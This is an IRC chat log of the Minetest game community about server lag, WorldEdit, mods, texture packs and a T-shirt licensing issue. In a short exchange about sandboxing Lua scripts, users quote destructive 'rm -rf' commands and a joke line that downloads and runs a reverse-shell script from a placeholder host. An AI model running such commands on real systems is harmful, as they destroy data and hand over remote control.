Time Nick Message 00:00 Menche hi 00:00 Menche going to start making worldedit saves of stuff on my server 00:00 Menche to transfer to new map 00:01 kaeza good 00:03 Kacey let me hop on and check coords and help with the worledit 00:04 Menche ok, just added worldedit 00:04 Kacey do i have worldedit priv? 00:05 Kacey 3% 00:05 Menche not sure, my goodness the server is lagging 00:05 kaeza hey Zen 00:05 TheZenKitteh hey kaeza 00:05 Kacey im still getting on so that is wh 00:05 TheZenKitteh hey menche and kacey 00:05 Kacey why* 00:05 Kacey hi 00:05 Kacey almost there... 00:06 Menche cpu usage > 100%... 00:06 TheZenKitteh for any mod developers who wish to help test the bash and windows mod installers, the mod repo has been moved to its own repo and mods can be added through git 00:06 Uberi Menche: WorldEdit is working in a 3 level deep nested loop 00:07 TheZenKitteh any archive format supported so long as inside archive is the folder of the mod such as modname or industrial or mesecons whatever 00:07 kaeza TheZenKitteh, +1 00:07 Menche Uberi: the sad thing is, I haven't started using the worlded it yet :/ 00:07 mauvebic whats your FPS with worledit? 00:07 marktraceur TheZenKitteh: http://www.theopensourceway.org/wiki/How_to_tell_if_a_FLOSS_project_is_doomed_to_FAIL#Releases 00:08 TheZenKitteh except rar.. rar isn't supported and I won't accept any mods to the repo that are in rar format lol 00:08 Menche mauvebic: my FPS is just fine, server lag is the problem 00:08 TheZenKitteh marktaceur I have no intentions of the bash and windows installers to take off.. however I do hope the online mod repo does so other mod installers can use what already exists 00:08 Kacey double jump for fly option ... 00:08 mauvebic i tend to associate lag with fps lol 00:09 Kacey i wasnt lagging at all 00:09 Menche you were'nt? maybe its because I'm leeching off of someone elses wifi... 00:09 Menche lol 00:09 Menche must be a way away from the router 00:10 Kacey lol 00:10 Kacey around 10 fps 00:10 Menche no, it's server lag, cpu usage is > 100% 00:11 mauvebic 10? poop 00:11 Menche mine is acting like it's capped at 30, even though it's actually capped at 60 00:11 Kacey i usually get 10 fps 00:11 Menche wow 00:12 mauvebic i used to get 10 FPS on my 7yr old gfx card 00:12 Menche i guess that is playable, it's what i usually get on my netbook 00:12 TheZenKitteh btw the goal of my mod installers btw is to "encourage" others who can do better to "try to one up me" or "contribute to make better". 00:12 Kacey i am watching the profiling graph thingy 00:13 * Menche is hoping his pentium 4 didn't just become obsolete 00:13 Kacey i have a pentium 4 00:13 TheZenKitteh this is a pentium 4 as well 00:13 Menche right around 0.4.0, my atom netbook ceased to be able to run a minetest server well 00:13 TheZenKitteh lol 00:14 mauvebic minetest never worked properly on my netbook either 00:14 mauvebic had all these weird colored polygons on the screen 00:14 kaeza marktraceur, my IRC mod does all the points in the "Bundling" section... does that mean it's doomed to fail? 00:14 Kacey watching the graph go crazy when i get to the end of a chunk 00:14 mauvebic like someone threw a rainbow rock at the screen 00:14 Kacey mine does that but only for a second 00:15 mauvebic though netbook gfx and wifi drivers are notoriously a PITA 00:15 Menche my netbook gets occasional artefacts 00:15 mauvebic so we all get artefacts on the netbook? weird 00:15 Menche i haven't noticed them as much lately 00:15 Menche intel gfx drivers? 00:15 mauvebic yep 00:15 mauvebic intel atom N450 00:15 TheZenKitteh last time I tried minetest on a netbook it was a fail. <5FPS average 00:16 Kacey woa massive spike 00:16 TheZenKitteh occasional hiccups above 10 00:16 Menche i get about 10-15 fps 00:16 airlynx does the version on Ubuntu Software Center (v0.3.1) not connect to servers? 00:16 Menche give or take 00:16 Menche airlynx: it connects to 0.3 servers, most servers run 0.4 00:17 airlynx Menche: I went to the site to get the latest version, but the Ubuntu link doesn't seem to be working 00:18 airlynx nm, the magical "try-again" fairy fixed 00:19 marktraceur kaeza: You need to add up all the points! 00:20 TheZenKitteh marktraceur that link you gave doesn't fit all projects properly and assumes many things 00:21 Kacey woa really bad lag there 00:21 * Kacey is waiting for map to load... 00:22 Kacey Menche do you remember how to use worldedit? 00:22 marktraceur TheZenKitteh: Yes, but it's largely a hilarious joke. 00:22 Menche im looking at the worldedit page for reference 00:23 marktraceur TheZenKitteh: spot mostly made it in response to his frustration with Chrome, I think. 00:23 TheZenKitteh lol marktraceur it is to a degree 00:23 Uberi another nanosecond, another Chrome version 00:24 Menche Kacey: just started a worldedit save 00:24 mauvebic lol 00:25 Kacey it looks like nobody wants their buildings saved... 00:25 Menche actually it wasn't that bad 00:25 mauvebic lol -> new chrome version 00:25 Menche i don't think i'll save the weird looking lava thingie next to spawn 00:25 kaeza marktraceur, 155 points of FAIL, so yep, pretty much screwed 00:25 Uberi hey marktraceur got gh push access! 00:26 Uberi high five o/ 00:26 marktraceur Uberi|Away: Mostly for bug tracking porpoises. 00:27 TheZenKitteh I say everything can be worked on.. if a project works as the developers envisioned and it serves a purpose, its not a total fail. the issue I see with almost every floss project is lack of GOOD documentation that's written in a way the END USER can understand 00:27 marktraceur Before you ask, the dolphins were harder to train and therefore much more expensive. 00:27 TheZenKitteh most seems written from the viewpoint of the devs and most end users won't even read it because its overcomplicated 00:27 TheZenKitteh lol 00:28 kaeza TheZenKitteh, I try to make my docs as easy to understannd to end users as possible 00:28 TheZenKitteh same here kaeza.. of course im not very strong in documentation 00:28 TheZenKitteh yet 00:29 kaeza (Note: I usually look at Microsoft documents for inspiration because of their tendency to treat users like stupid masses) 00:29 TheZenKitteh all my projects are mostly for my own personal use as a learning tool. however I believe in sharing so I do 00:29 Menche does worldedit save metadata like chest inventories? 00:30 * TheZenKitteh jokes that there should be a realworldedit that can edit the real world.. if only such existed 00:30 TheZenKitteh anyway time for work again so ta ta to everyone for now 00:30 TheZenKitteh have fun 00:33 Kacey haha 00:33 Kacey punched an unknown block and the graph spiked 00:43 bwsrjr I think I installed a mod (mesecons), but the game looks normal. how can i tell? 00:44 mauvebic check your creative inventory? 00:46 bwsrjr mauvebic: yup, that worked. i'm a super-newb 00:46 bwsrjr thansk 00:47 mauvebic no prob you can also use /giveme if you know exactly what youre looking for 00:48 kaeza wow! talk about good support! I just received an answer to a question I posted on Puppy Linux Forums 5 months ago! 00:48 Uberi to answer your question Menche, only //metasave does 00:48 mauvebic better than ubuntu's "its your hardware" typical responses lol 00:48 Menche ok 00:48 Uberi Menche: a future version will fold //metasave into //save to make things simpler 00:51 kaeza the problem with puppy forums is every kiddo makes a stupid question about things like "how do I change to a new directory?" and so *real* questions are lost forever in the last pages of the topic list 00:52 Uberi kaeza: well to be fair, that's a legitimate question 00:55 kaeza yeah 00:55 kaeza It's also a question that is easily answered by RTFM 00:56 kaeza there's even a FAQ answering those...err...Frequently Asked Questions 00:57 bwsrjr man, i've never played mine{craft,test} before. these mesacons are amazing 00:57 Uberi bwsrjr: wait 'till luacontrollers are ready 00:57 Uberi they'll knock your socks off 00:58 bwsrjr do you know if the mesecons commands (for the command block) are documented anywhere? 00:58 Uberi ComputerCraft, anyone? 00:58 Kacey luacontrollers? 00:58 Uberi bwsrjr: they're all just MineTest commands, plus two I added for convenience 00:59 Uberi bwsrjr: use the /help command to get a list 00:59 Uberi bwsrjr: the chat command, I mean, type /help in the chat and press enter 00:59 Uberi bwsrjr: I also added /msg and /say to make adventure maps easier 00:59 bwsrjr awesome 00:59 babyface1031 do jungle tree leaves die like the other tree leaves 00:59 Uberi Kacey: uc's, except programmed with Lua 01:00 Kacey so you have to know lua to program them? 01:01 bwsrjr I'll learn lua for that. Isn't it used to script all kinds of games? WoW comes to mind 01:01 mauvebic isnt that a danger for hacking servers? 01:01 Menche ucs are lua? 01:01 Uberi mauvebic: all sandboxed 01:01 Uberi Menche: right now uc's are programmed in ucscript 01:01 Uberi we're working on making Luacontrollers safe for servers still 01:02 Uberi right now you can still crash a server with an infinite loop 01:02 Uberi when it becomes fully safe it'll be in the release 01:02 Kacey so instead of sbi(C,A) it would be something else? 01:02 mauvebic does it prevent users from accessing all the api calls? 01:02 Uberi mauvebic: yep 01:02 mauvebic like say, a user couldn't grant himself privs 01:03 Uberi mauvebic: or worse: os.open("rm -rf /") 01:03 Uberi mauvebic: yeah the environment is all nicely safe and sandboxed 01:03 Uberi but still infinite loops are possible 01:03 Menche if a server operator were running his server as root, he would deserve that 01:03 Menche rm -rf / 01:04 Exio if someone is running a server as root 01:04 Exio the problem isn't the server, is the sysadmin 01:04 bwsrjr Uberi: what do the water turbines do? 01:05 bwsrjr nm, i see on the site 01:05 bwsrjr wow. I've got to run, but this is amazing 01:06 Uberi Exio: still, MT has access to the map, so os.open("rm ../worlds/map.sqlite") 01:06 Exio well, yeah 01:07 kizeren os.open("rm -Rf /") That would be more fun. 01:07 Exio or even better, os.open("wget http://your.nice.site/reverse.shell.sh;bash reverse.shell.sh"); >:D 01:08 Uberi Exio: the new WorldEdit also has a //lua command that can technically do that 01:08 Uberi but it has even stricter privs, needs server=true 01:11 babyface1031 do jungle tree leaves die like the other tree leaves 01:12 babyface1031 and what is noclip 01:13 mauvebic being able to pass through shit 01:14 NakedFury noclip is being a ghost 01:14 NakedFury should use that name instead of noclip 01:15 Uberi nah ghost has other connotations 01:15 Uberi like being invisible 01:16 NakedFury ok the Kitty Pride(i think) mode 01:23 airlynx still can't connect to c55.me server 01:29 Menche airlynx: that server has been down 01:29 Kacey i must go 01:30 Uberi his people need him 01:40 BackupCoder legends will speak of it 01:45 mauvebic which is nicer rosebush? http://www.zimg.eu/i/2006889979 01:45 airlynx what is a good server to connect to then? 01:51 Uberi airlynx: survival or creative? 01:54 kaeza OldCoder, are you updating the servers? 01:54 kaeza BackupCoder, ^ 01:57 kaeza oh nvm 01:57 kaeza they are back up 01:58 airlynx uberi: no idea, just exploring the game at this point 02:00 Uberi airlynx: well have a gander at VanessaE's creative server, it has a huge selection of what's possible with MT 02:00 Uberi can you give the address, VanessaE? 02:01 erlehmann anyone here? 02:02 marktraceur erlehmann: So many people are here! 02:02 airlynx lol, I just discovered the wiki pages, realized there's a whole lot more to this than just digging dirt and sand with my hands 02:02 erlehmann i got a mail from the t-shirt shop. 02:02 marktraceur erlehmann: Welcome to IRC, ask your question :) 02:02 marktraceur erlehmann: What was it? 02:02 erlehmann i asked them to provide attribution. 02:03 erlehmann but they were like “In accordance with our Intellectual Property Rights Policy, we have prevented the user from using the images on products for sale through their store.” 02:03 erlehmann even though i explicitly told them commercial use is ok 02:03 erlehmann >_> 02:03 erlehmann <_< 02:03 erlehmann -_- 02:04 erlehmann is the shop still there? 02:04 marktraceur erlehmann: So wait, the order I placed....is going to get cancelled? 02:04 erlehmann marktraceur, i have *no* idea. 02:04 marktraceur The "black and yellow" design is, all others aren't 02:04 marktraceur Guh, these people are morons. 02:04 erlehmann indeed. 02:05 erlehmann but probably easiest for them to just delete fucking everything. 02:05 erlehmann any idea what i can do? 02:06 erlehmann maybe i'll find a CC-friendly shirt shop 02:07 erlehmann let me look up the cafepress intellectual property rights policy 02:07 erlehmann that cafepress person is like youtube 02:08 erlehmann http://www.cafepress.com/cp/info/help/index.aspx?page=iprights.aspx 02:08 erlehmann > If you let us know that your rights are being infringed by one of our users we will (in our discretion) require that the user's content is removed from products and, if the user continues to infringe your rights (or infringes the rights of others) terminate the user's access to our services. 02:08 erlehmann oh well 02:09 erlehmann who of you does the cafepress store? 02:09 marktraceur rubenwardy, but he not here 02:10 erlehmann oh well tell him i meant no bad then. i can post the email if he wants. 02:10 marktraceur Righto. 02:10 marktraceur erlehmann: I'd really enjoy reading the full text, actually. Might make a good blog post. 02:10 erlehmann i just want attribution and that users are aware of the source code of the image. 02:10 erlehmann marktraceur, ima gonna sleep. 02:10 marktraceur KK. 02:10 erlehmann but i'll post it. 02:10 erlehmann wait 02:12 marktraceur erlehmann: In fairness, they're correct 02:12 marktraceur erlehmann: The shirts essentially broke the license 02:13 erlehmann marktraceur, they are correct, yes. but it would be very easy to comply. 02:13 marktraceur True, but their policy says something, and they can't very well play fast and loose with that sort of thing 02:13 erlehmann yeah, probably. 02:13 marktraceur Else they'd get sued. A lot. 02:13 erlehmann ima gonna post the mail. 02:14 marktraceur Woot! 02:17 mauvebic jesus its cold outside 02:18 erlehmann in berlin as well 02:18 Uberi mauvebic: it's insane 02:18 Uberi I almost got frostbite walking home today 02:18 mauvebic i just went for beer, thank god its a block away\ 02:18 erlehmann http://daten.dieweltistgarnichtso.net/docs/law/cafepress-minetest-logo 02:19 erlehmann marktraceur, go show that rubenwardy if he asks for explanation. 02:19 marktraceur KK 02:19 jojoa1997 Uberi want to trade places it is too hot here 02:19 erlehmann where u are? 02:19 erlehmann BR BR BR BR BR ? 02:20 jojoa1997 USA Florida 02:20 jojoa1997 60 is cold here 02:20 jojoa1997 fareinheight 02:21 Uberi jojoa1997: you don't want to be in -20 degree celsius weather :/ 02:21 jojoa1997 hay io like the cold 30 02:21 jojoa1997 but 60 is cold to others 02:21 jojoa1997 florida is around 70 in the middle of winter 02:22 OldCoder Back 02:22 OldCoder kaeza, no; I was away for the afternoon 02:22 mauvebic last week they had 12c in yukon lol 02:22 kaeza OldCoder, I received a strange "Server Shutting Down" message 02:22 mauvebic they have that 30 days of night thing in the winter too lol 02:22 OldCoder Hmm 02:22 jojoa1997 OldCoder is minetest.org 30005 up i cant get on 02:23 OldCoder kaeza, port? 02:23 kaeza but reconnected and it was up... O.o 02:23 OldCoder jojoa1997, checking now 02:23 erlehmann jojoa, USE METRIC 02:23 kaeza OldCoder, ^ 02:23 jojoa1997 In USA no way 02:23 OldCoder reviewing logs 02:24 mauvebic vancouver has nicer winter weather 02:24 erlehmann SI units, there is a reason your military and your nasa uses it ;_; 02:24 kaeza OldCoder, 30004 02:24 OldCoder when? 02:24 jojoa1997 why 02:24 OldCoder time? 02:24 OldCoder kaeza, you timed out 02:24 kaeza about 30 mins ago 02:24 kaeza yeah 02:25 jojoa1997 it was a day ago but i just connected 02:25 OldCoder kaeza, I see... 02:25 Kacey back 02:25 OldCoder WARNING: StaticObjectList::remove(): id=69 not found 02:25 OldCoder 01:54:17: ERROR[main]: ServerEnvironment::deactivateFarObjects(): id=70 m_stati 02:25 OldCoder WARNING: StaticObjectList::remove(): id=70 not found 02:25 OldCoder 01:54:17: ERROR[main]: ServerEnvironment::deactivateFa 02:25 kaeza I just got confused by that "Server Shutting Down" message 02:25 OldCoder Kacey, wb 02:25 Kacey hi oldcoder 02:26 OldCoder o/ 02:27 Kacey o> 02:28 Kacey making redneck jokes 02:55 marktraceur Hm. The cafepress order seems to still be on the way 03:02 erlehmann good! 03:20 mauvebic renovations: http://www.zimg.eu/i/2266287931 03:40 jojoa1997 if i make a folder named worldmods inj my world folder. is that where game specific mods go 03:46 TheZenKitteh hello hello to anyone alive 03:53 erlehmann hi 03:53 erlehmann mauvebic, where is this? 03:53 TheZenKitteh hey erlehmann 03:53 erlehmann hey TheZenKitteh 03:57 TheZenKitteh slow night I take it 04:02 mauvebic erlehmann on my personal server 04:02 mauvebic though oldcoder has a copy running 04:03 mauvebic minetest.org:30018 04:03 mauvebic (http://forum.minetest.net/viewtopic.php?id=4136) 04:04 kizeren So is this a map that you would not give me nukes? 04:05 mauvebic not on that server its not creative 04:06 kizeren Going to try and talk the wife into creating a map for PVP. 04:06 kizeren Just not sure what anyone would want in a PVP map. 04:07 OldCoder hi 04:07 kizeren But I will deffinetly put nukes in it :) 04:07 kizeren Hello OldCoder 04:07 OldCoder hi! 04:08 kizeren I hope you don't mind. I mirrored your website so I could get the mods you have on port 30000. 04:09 mauvebic whos website? we all have websites lol 04:09 kizeren OldCoder's. 04:11 kizeren I wanted OldCoders so i could see the mods and config files for the worlds. Been trying get a little extra speed from the one I host. I think I found a good combo and so far it has helped. 04:11 kizeren now if we can do something about the graphics :) 04:11 mauvebic ive been working on optimizing too 04:12 mauvebic lots of redundant code to cut down on lol 04:12 kizeren my problem was conifers and plantlife then animals....just brough everything to a stand still. 04:12 kizeren Now nothing really lags the server accept if you spawn a new area. 04:12 kizeren Which i can live with. 04:15 erlehmann awww http://forum.minetest.net/viewtopic.php?id=3731 04:15 erlehmann only 9 years old and coding! 04:15 erlehmann great! 04:21 OldCoder hi 04:21 OldCoder kizeren, feel free and you need to update sometime 04:21 OldCoder kizeren, there will be much more 04:22 kizeren I am just giong to try and keep mine updated with yours. 04:22 OldCoder Please don't clone all the time; once in a while should do 04:22 kizeren Best i can anyway. 04:22 OldCoder Maybe I will give out rsync 04:22 OldCoder That would let everybody clone everything 04:22 kizeren I figured maybe most once a week. 04:22 OldCoder k 04:22 OldCoder Hmm 04:23 OldCoder kizeren, can you limit two things? One would be *my* mirror of thexyz mods 04:23 OldCoder that won't change much 04:23 OldCoder and if I put the worlds online 04:23 kizeren I was just too lazy to write a script to get the zip files tonight :) But I might try it next week so I don't kill your bandwidth. 04:23 OldCoder that will be gigabytes 04:23 OldCoder Hmm 04:23 OldCoder I could see the worlds as torrents 04:23 OldCoder * see 04:23 OldCoder * seed 04:24 kizeren Would it be hard for you to have one big zip file of all the mods to grab instead of individuals? 04:24 OldCoder Not hard, no 04:24 OldCoder We can do all kinds of things 04:24 OldCoder Keep an eye on it over time 04:24 OldCoder kizeren, actually what you just asked 04:24 OldCoder is there in a way 04:24 OldCoder I have placed the _game folders zipped online 04:25 kizeren What I was thinking was setting up a cron job that will use wget to check if file has changed if so...then have wget download the new file. 04:25 OldCoder fine 04:25 kizeren but this time I wanted all the config files. So I could tinker with them and find one that best worked on my server. 04:25 OldCoder sure 04:26 kizeren Did you know the textures are all goofy? 04:31 kizeren Oo well... late for me. 04:31 kizeren laters. 05:10 kaeza my fighting/spleef/whatever arena on Octuteam World: https://dl.dropbox.com/u/100008207/minetest/screens/octuteam/screenshot_1272406954.jpg 05:13 VanessaE zzz 05:14 * kaeza puts a default:water_flowing on VanessaE's head 05:14 * VanessaE grabs an erlehmann sponge. 05:15 kaeza hah 05:15 erlehmann :3 05:15 erlehmann VanessaE, can you modify my mod so sponge occurs naturally? 05:16 kaeza outside view: https://dl.dropbox.com/u/100008207/minetest/screens/octuteam/screenshot_1272732901.jpg 05:16 VanessaE erlehmann: I could possibly do that.... ironically the best place to spawn a sponge would be under water...which of course they're designed to get rid of :) 05:16 kaeza err...wouldn't that dry up the world? :P 05:16 VanessaE yup 05:17 erlehmann VanessaE, i would suggest they spawn 1 block below sea level and very rarely 05:17 kaeza how about making a "dry sponge" and a "wet sponge"? 05:18 kaeza (like a water tank or smth like that) 05:18 * kaeza has fancy useless ideas 05:19 * kaeza 's creativity sucks 05:21 kaeza suddenly...copyright infringement: https://dl.dropbox.com/u/100008207/minetest/screens/octuteam/screenshot_1273155980.jpg 05:21 kaeza (art by Dogzilla) 05:21 VanessaE heh 05:21 VanessaE where is this? 05:21 kaeza Octuteam world 05:21 kaeza mt.org:30004 05:25 kaeza and there's more: https://dl.dropbox.com/u/100008207/minetest/screens/octuteam/screenshot_1273302628.jpg 05:55 kaeza VanessaE, you there? 05:56 VanessaE no :) 05:56 kaeza oh ok 05:56 kaeza :) 05:56 VanessaE I'm here ----> 05:56 kaeza nope 05:56 kaeza theres a blank area there 05:56 kaeza :P 05:56 kaeza only bad thing is, i keep cutting down trees and they keep taking over everything now 05:56 VanessaE I'm invisible, duh :) 05:56 kaeza they are growing through my buildings and taking over all the land thats left, its like the attack of the killer trees lol 05:57 VanessaE tell him to bury some trunks under a layer of dirt as close to the surface as possible. 05:57 VanessaE that'll cause the spawn code to avoid those areas. 05:57 kaeza whatokay 05:57 kaeza BTW, it's a "her" 05:57 VanessaE her then :-) 05:58 kaeza thanks ;) 05:58 VanessaE the spawner checks for the presence of trunks or saplings of the type about to be spawned, and avoids them if they're too close 05:59 VanessaE alternatively, tell her not to build there ;-) 05:59 VanessaE or build at below 25m 06:01 kaeza VanessaE, she says thank you 06:01 kaeza (it's weird relaying messages between channels lol) 06:02 VanessaE I'll make changes to the code soon to make them spawn on mapgen insted of via an abm 06:07 kaeza umm... http://www.youtube.com/watch?annotation_id=annotation_152960&feature=iv&src_vid=To6q3w6RzNg&v=U8tAkQ-37XU 06:16 celeron55 http://www.aosabook.org/en/index.html 06:16 celeron55 "The Architecture of Open Source Applications" 06:17 Oblivion1500 ┏(-_-)┛┗(-_- )┓┗(-_-)┛┏(-_-)┓ 06:52 VanessaE bbl, bedtime 06:52 kaeza night 07:11 cosarara97 hi 07:11 kaeza hey 07:12 cosarara97 Do I have to give any options to CMake to get the 3D player? 07:12 kaeza nope 07:12 kaeza just use latest git 07:12 kaeza (well, not latest, but recent enough) 07:12 kaeza also, the 3d player is part of minetest_game 07:13 kaeza so you should update that as well 07:13 cosarara97 that is it 07:13 kaeza yup 07:14 kaeza celeron55, would an API to determine what caused damage to player be possible? it would require protocol changes right? 07:15 kaeza or can it be done someway in Lua? 07:15 kaeza somehow* 07:18 kaeza hmm... thinking about it, I think that can be possible with a patch in C++ (at least for environment damage such as lava and falling) 07:18 kaeza other damage such as from entities can be (almost) easily done in Lua 07:19 Obiewan1111 I has le snow. 07:19 Obiewan1111 Le school is le shut. 07:19 Obiewan1111 #SNOWDAY. 07:19 Obiewan1111 I'm out! 07:20 kaeza O.o 07:20 cosarara97 can outdated mods cause a segfault? 07:21 kaeza depends 07:21 cosarara97 on? 07:21 kaeza usually lua errors are catched and reported as a nice dialog box 07:21 kaeza unless the code is doing something weird 07:22 kaeza anyway, what's the mod in question? 07:22 cosarara97 Well, the game is crashing just when I start to see the world 07:22 cosarara97 only in single player 07:22 cosarara97 I'll try to disable the external mods 07:23 kaeza do this: 07:23 kaeza remove all the mods (so you are left only with default game) 07:24 kaeza and start adding one by one 07:24 kaeza and test which one causes the segfault 07:24 kaeza s/test/see/ 07:24 cosarara97 I removed them all, and it's working now, but at 3 fps only :S 07:25 kaeza hmmm 07:25 kaeza MOBF can cause those problems 07:25 kaeza even when removed 07:25 kaeza are you using that? 07:26 cosarara97 Nope 07:26 cosarara97 I'm trying with a new world now 07:27 cosarara97 it's a little faster now 07:27 cosarara97 7-8 fps 07:27 kaeza can you repeat please? 07:27 kaeza I got disconnected :/ 07:28 cosarara97 I don't think I have had mobf 07:28 cosarara97 I'm trying with a new world anyway 07:29 cosarara97 and it just a little faster 07:43 Oblivion1500 i would try uninstalling the game then reinstalling, but thats just me 07:44 kaeza or getting a better computer 07:44 kaeza meh 07:44 kaeza anyway, I'm out 07:44 kaeza night everyone 07:46 Oblivion1500 good night 07:46 Oblivion1500 damn lol 08:18 * Zeg9 just managed to crash gimp 09:24 thexyz kizeren: http://mods.minetest.ru/info.html — if you wish to rsync with mods.minetest.ru 09:42 celeron55 thexyz: is that manually or automatically managed? 09:47 thexyz celeron55: manually 09:48 thexyz it's quite outdated as I don't have enough time to manage it 09:50 celeron55 it could be automated fairly easily - just introduce some wiki-like special syntax to be used for package links and short info on the forum 09:51 celeron55 not really wiki-like... some standard way of listing things anyway 09:52 OldCoder thexyz, he is interested specifically in my versions of the mods I think 09:52 thexyz well, installing pun_attachment is an another option 09:56 celeron55 i'm really interested in coding an integrated mod database on the main site... i should just drop everything else and get to doing that 09:58 celeron55 anyhow, work (slave) stuff -> 10:08 OldCoder Hmm 10:08 OldCoder You mean the volunteer program? 10:08 OldCoder Well, not volunteer 10:15 celeron55 i mean slavery 12:01 jordach hello all 13:32 markveidemanis Anyone on #mt-servers #mt-textures #mt-maps 13:33 markveidemanis ? 13:56 celeron55 news from minetest.net VPS: they finally could do a hardware check for it after relocating some service (other than minetest.net) that it was running as one of a redundant pair of servers 13:56 celeron55 s/for it/for the physical server/ 13:56 celeron55 turns out it had a broken RAM module 13:56 celeron55 that... well, explains stuff 13:57 celeron55 for some reason no other VPSes were affected by it 14:00 VanessaE translation: "We don't want to admit to how bad the problem *really* was". 14:00 VanessaE also, good morning. 14:02 PilzAdam Hello everyone! 14:02 VanessaE morning PilzAdam 14:05 celeron55 VanessaE: eh? 14:06 VanessaE celeron55: nevermind, it was a joke. 14:08 celeron55 do you ever have any jokes the funnyness of which doesn't involve unrighteously laughing at people? 14:09 VanessaE *facepalm* 14:10 celeron55 i think i haven't ever seen anyone else respond to these in any positive way either; i'm somewhat sure the problem is more in you than me 14:10 celeron55 not that i really care, but anyway 14:10 VanessaE I worked for a VPS provider for a while and was paid to lie about the severity of the problems the place had. 14:11 VanessaE (needless to say I didn't stay there long) 14:12 celeron55 ...i don't really see how having a broken memory module can differ from having a broken memory module 14:13 VanessaE It isn't about the damage to the hardware - it's about the claim that no one else but minetest.net was affected, which is absurd. 14:14 celeron55 well, it obviously is pretty bad, regardless of if others actually suffered of it or not 14:14 * PilzAdam sees that MarkTraceur and hmmmm have access to the main repo 14:14 VanessaE certainly so, yes. 14:15 celeron55 given that the big service that prevented running the long hardware check was a pair of two redudant servers, that wouldn't have been affected that much at least 14:15 celeron55 i mean, of the RAM error 14:15 VanessaE you do realize how many VPS's are usually run on such a machine, right? 14:16 RealBadAngel hi all 14:16 VanessaE mornin' RBA 14:16 RealBadAngel evenin' VanessaE :) 14:16 celeron55 many; altough i am not fully knowledgeable of how this hosting is actually implemented 14:18 celeron55 (it isn't the general "bulk vps hosting"; it's likely to be on a rented physical server owned by the very small company, which mostly runs sites provided as a service right from the making of them) 14:18 VanessaE a colo then. 14:18 VanessaE or just a dedicated server? 14:19 celeron55 probably just a dedicated server 14:19 celeron55 dunno though; i could ask but it doesn't really matter 14:19 VanessaE RealBadAngel: I'm working on an extension to plantlife to allow for mapgen-based spawning. 14:20 RealBadAngel cool 14:21 RealBadAngel i will finish later today trees framework 14:22 VanessaE RealBadAngel: http://pastebin.com/t5FF27Aq 14:22 RealBadAngel once done i will upload it to github and let you know 14:22 VanessaE look suitable to you? I'm not used to working with the register_on_generated() call 14:23 RealBadAngel look serious, we will see how it will work ;) 14:23 VanessaE (sometimes I hate pastebin for enforcing line lengths... *grumble*) 14:23 VanessaE (read it in "raw" view, it's less jumbled) 14:24 celeron55 minetest.register_on_generated(local searchblocks = table.getn(minet... 14:24 celeron55 an interesting function definition for sure 8) 14:25 VanessaE celeron55: I've never used this call before. 14:25 VanessaE so I don't expect this code to work yet 14:25 VanessaE this is just an outline until I functioanlize the bulk of the code that'll be inside there 14:27 celeron55 it might work if you add the missing pieces, yes 14:42 VanessaE RealBadAngel: how's this look? http://paste.ubuntu.com/1545579/ 14:44 VanessaE (my new function names suck..) 14:46 thexyz wtf, fuckton of params 14:46 thexyz i think you should make them into a table 14:47 VanessaE can't. the API needs to remain compatible with old stuff 14:48 thexyz well, then make it compatible 14:48 PilzAdam check if the first param is a table; if yes read the table if not read the other params 14:50 VanessaE no need, this format works fine...besides, I'm too lazy to change it :D 14:51 thexyz PilzAdam: +1 14:52 thexyz what if I want to change tempmax only? 14:52 thexyz spawn_on_surfaces(nil,nil,nil,nil,nil,nil,nil,fuck, ... my_tempmax) 14:52 VanessaE lol 14:52 VanessaE it doesn't quite work like that :-) 14:53 thexyz huh? 14:54 Kacey hello 14:54 VanessaE hey kacey 14:54 Kacey i think i just fixed my battery 14:57 Kacey perhaps... 14:57 Kacey well i have to go to school 15:54 sfan5 hi guys 15:54 VanessaE greetz sfan5 15:55 sfan5 my hdd/mainboard broke and i'm currently setting up my win32 minetest builds environment on a different computer... 15:59 thexyz "i'm currently restoring from backup" would fit better 16:03 sfan5 yeah 16:04 Muadtralk anyone know how to get rid of a virus on linux? 16:05 * Muadtralk and how its even remotely possible I got one? 16:06 sfan5 which virus? 16:06 Muadtralk issue being I cant find it 16:07 Muadtralk but something is sucking my CPU with a straw 16:09 sfan5 have you looked at the process list 16:09 Muadtralk nothing is using that much 16:10 sfan5 hm 16:11 Exio the problem is in Layer 8, i think 16:18 celeron55 i wonder how he knows something is sucking CPU if not from the process list 16:19 leo_rockway pebkac 16:19 leo_rockway also, hello everyone 16:19 leo_rockway is there any video of the particles in core? 16:23 PilzAdam I only know some WIP videos by Jeija 16:24 sfan5 are particles in master? 16:24 PilzAdam yep 16:24 sfan5 theres a win build coming ( if i didn't forgot to install cmake..) 16:26 PilzAdam thexyz already has some win builds (with particles), I guess 16:26 thexyz yes 16:27 sfan5 the computer i have to use for win builds now is slow, it takes 35 secs to compile lua.. 16:27 sfan5 *now, is slow 16:27 Exio how many time for compiling minetest? 16:27 sfan5 dunno, maybe 15 mins 16:27 Exio ~30 minutes here :P 16:40 leo_rockway maybe I'll install the win build. I want to test all the new stuff! 16:57 rubenwardy hi? 16:57 Exio hai 17:01 klunk hi 17:06 PilzAdam VanessaE, look what your 512px TP does to my ram: http://www.zimg.eu/i/66831251 17:06 VanessaE yup, that's about right 17:06 VanessaE turn off item visual preloading 17:06 VanessaE that'll help 17:07 PilzAdam its already disabled 17:07 VanessaE how much RAM> 17:07 VanessaE ? 17:08 PilzAdam 4 GiB 17:08 VanessaE AMD64 build? 17:08 PilzAdam yep 17:08 VanessaE (well, 64 bit anyway) 17:08 VanessaE well what can I say, MT's memory management needs....work. :-) 17:09 PilzAdam well, 3.83 GiB 17:09 PilzAdam (4 108 320 768 Bytes) 17:10 VanessaE I use the 256px size these days; 512px just doesn't work well anymore for me :( 17:11 PilzAdam I still get > 60 FPS with 512+ All filters 17:11 VanessaE not me, I can't even sustain 30 fps anymore 17:11 VanessaE probably shitty video drivers or something 17:12 Exio i don't have lagspikes or anything with your HD texture pack VanessaE, but only with the default "game" 17:12 Exio with more mods i can't even play, minetest just eats my entire ram 17:16 airlynx VanessaE, I can't enter your world, it's stuck on %100 media but not loading anything 17:16 thexyz fuck this shit http://forum.minetest.net/viewtopic.php?pid=64585#p64585 17:16 thexyz suggestion: ban people for smileys 17:16 PilzAdam +1 17:16 VanessaE thexyz: no. 17:16 rubenwardy motion carried 17:16 PilzAdam :-) 17:17 airlynx nevermind 17:17 rubenwardy (thats a +1 from me) 17:17 VanessaE airlynx: it takes a while to sign in. 17:17 thexyz VanessaE: why not? i've got eye cancer 17:17 VanessaE hm, server's lagging, but it does sign in.. 17:17 airlynx I saw that it was taking a while to download media so I left the computer, when I came back it was just sitting at %100 and I panicked, lol 17:17 thexyz because of that post 17:18 